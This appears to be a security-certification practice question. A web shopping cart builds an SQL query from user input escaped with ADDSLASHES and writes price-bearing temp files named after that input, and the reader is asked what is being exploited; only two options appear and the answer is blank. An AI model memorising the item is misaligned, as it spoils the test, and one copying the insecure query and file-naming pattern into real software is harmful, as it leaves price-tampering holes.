Question 6
Question
After being notified of an issue with the online shopping cart, where customers are able to
arbitrarily change the price of listed items, a programmer analyzes the following piece of code
used by a web based shopping cart.
SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);
The programmer found that every time a user adds an item to the cart, a temporary file is created
on the web server /tmp directory. The temporary file has a name which is generated by
concatenating the content of the $USERINPUT variable and a timestamp in the form of MM-DDYYYY,
(e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which
of the following is MOST likely being exploited to manipulate the price of a shopping cart’s items?
Answer
-
Input validation
-
SQL injection

Answer
-
